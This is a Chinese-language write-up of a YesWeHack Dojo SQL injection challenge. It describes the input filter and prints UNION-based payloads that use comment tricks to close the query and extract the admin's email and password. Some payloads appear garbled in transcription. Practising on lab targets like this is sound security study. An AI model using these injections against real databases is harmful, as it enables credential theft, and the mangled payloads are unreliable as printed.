简介
    @Xm17(u1736362)
    最近在看文章时,发现了一个sql注入的挑战,尝试做了一下,发现挺有意思的,所以拿来分享一下,顺便看看师傅们有没有其他的解决方法
    地址:https://yeswehack.com/programs/dojo
    测试要求
    首先先来看一下下图,是对这个靶场的简介以及判断挑战成功的要求,很简单,要求我们拿到admin用户的email和password字段

    yeswehack-19 sql注入挑战 - 图1
    需要的密码格式
    yeswehack-19 sql注入挑战 - 图2
    测试过程

    yeswehack-19 sql注入挑战 - 图3
    先看一下,需要输入的是id参数,并且对输入的-|#|(字符进行了替换为N0p3,对空格及换行进行替换成_
    sql语句为

    SELECT username FROM users WHERE ( role = ‘USER’ AND email LIKE ‘%@yahoo.com’ ) AND ( id > 13.37 AND id <= $ID ) LIMIT 0 — 10
    这里分几步来看吧

    一、闭合
    首先在id输入的位置-#被过滤了,如果要考虑闭合括号的话那就肯定需要(),而(也被屏蔽了,这里可以使用/*进行闭合

    100)/
    yeswehack-19 sql注入挑战 - 图4
    二、取数据
    空格过滤,因为空格被过滤了,这里可以使用/*
    /进行代替
    前面的sql语句已经提示了表为users表,取的字段为username,所以这里联合注入的话也同样取一个字段,并且条件是用户名为admin
    联合注入取email

    100)//union//select//email//from//users//where//username=’admin’/*
    yeswehack-19 sql注入挑战 - 图5
    联合注入取password
    100)/
    /union//select//password//from//users//where//username=’admin’/
    yeswehack-19 sql注入挑战 - 图6
    *后续

    师傅们可以尝试一下,有更好的方法可以公众号私信讨论一下